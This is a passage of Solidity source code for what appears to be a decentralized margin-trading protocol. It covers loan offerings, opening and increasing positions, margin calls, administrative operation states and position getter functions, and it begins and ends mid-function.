transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
